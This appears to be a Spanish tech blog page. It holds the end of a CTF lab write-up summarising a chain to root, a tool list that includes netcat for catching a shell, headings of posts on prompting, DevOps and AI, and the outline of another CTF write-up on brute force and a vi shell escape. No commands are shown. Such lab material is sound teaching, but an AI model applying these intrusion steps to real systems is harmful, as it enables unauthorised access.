En conjunto, la máquina representa una idea que me interesaba dejar clara: un compromiso serio puede salir de elementos que por separado parecen menores. Una pista en una imagen, una inyección que devuelve datos parciales, una credencial condicionada por la red, y un endpoint de depuración aparentemente secundario terminan formando una ruta completa hacia root. Ese encadenamiento es precisamente lo que quería enseñar al construir este laboratorio.

Recursos y referencias

nmap para enumeración de servicios y validación de cambios de exposición.
steghide para extracción de datos embebidos en imágenes.
base64 para reconstrucción y análisis de credenciales fragmentadas.
curl para interacción manual con endpoints no documentados.
netcat para validación de ejecución remota y recepción de shell.

OscarAI Tech

La Evolución del Prompting: ¿JSON o Texto Plano? Desmitificando la Comunicación con LLMs

El Experimento: El Duelo de Formatos

Las 3 'Reglas de Oro' del Prompting Moderno

1. Define Explícitamente el QUÉ

2. Especifica Claramente el CÓMO

3. Exige la Totalidad del Contenido (Todo, y sin atajos)

Conclusión: Claridad sobre Complejidad

TENVY v2: Lo que aprendí tras encerrarme un fin de semana a reescribir la plataforma

Table of Contents

El valor de la imperfección (y de escuchar)

Crónica de un fin de semana de código

¿Qué trae la v2 bajo el capó?

1. Estabilidad total en el Login

2. Análisis de CV robusto

3. El problema de la "Sobrecualificación"

La marca soy yo, la comunidad sois vosotros

Un agradecimiento técnico

¿Qué sigue?

Vibe Coding con Claude: Lo que nadie te cuenta sobre trabajar con LLMs en DevOps

¿Qué coño es "vibe coding"?

Lo que he aprendido (y nadie me dijo)

1. No todas las herramientas LLM son iguales

2. La calidad del prompt = calidad del código

3. El debugging ha cambiado radicalmente

4. La curva de aprendizaje se ha invertido

Casos de uso en DevOps

Infraestructura como Código

CI/CD Pipelines

Gestión de Secrets y Seguridad

Lo que NO ha cambiado (y no va a cambiar)

El cambio

Conclusión: Adaptarse o quedarse atrás

El día que puse el freno de mano

Durante 14 años, mi carrera se sintió como una huida hacia adelante.

La maldición del porqué

El espejo distorsionado

Voces compartidas: No eres el único

Poner el freno de mano

La salida de la sombra

LLM vs SLM: no es una pelea técnica, es una batalla de narrativa

Dónde está realmente la pelea

El uso diario no sigue la narrativa

Cuando bajas al teclado, cambia la conversación

No es una guerra de bandos

Qwen Image en AMD y Nobara: cuando el problema no es el modelo

Soberanía en IA: Inferencia Local de Alta Velocidad sobre Silicio AMD de Consumo

Estado de Reactor Nuclear: Diagnóstico de la Ineficiencia

Ingeniería de Plataforma: Orquestación del Stack

1. Gestión de Memoria Heterogénea

2. Low-Level DPM Override

3. Patching de Interfaz del Kernel

Resultados: El Salto de Eficiencia

Conclusión: El Valor Estratégico de la Autonomía

SRE y AI no son etiquetas

Son una forma de pensar

OpsGuard-AI: cuando el que revisa el código también es una IA

Cuando el que revisa el código también es una IA

El problema que nadie quería nombrar

La idea: una puerta antes de producción

Lo que más me costó entender

El momento en que supe que funcionaba

Lo que aprendí construyendo esto

Por qué lo hice open source

Cómo mejorar tu CV con inteligencia artificial sin convertirlo en texto genérico

Antes de empezar, entiende para qué sirve cada herramienta

El proceso que sí funciona

Cómo usar IA generativa sin degradar tu CV

Dónde más tiempo te puede ahorrar

Lo que no debes hacer

El objetivo

NodeCaption: automatización expuesta, credenciales reutilizadas y ejecución remota en Linux

Sobre este CTF

Información técnica

Reconocimiento

Enumeración inicial

Exploración web

Puerto 8765 — Apache

Comentario

Fuzzing de rutas

Fuerza bruta contra `login.php`

Obtención de la contraseña de `thl`

Escape a shell privilegiada con `vi`

Fuerza bruta sobre `shell.php`

Acceso a `shell.php`

Obtención de shell como `root`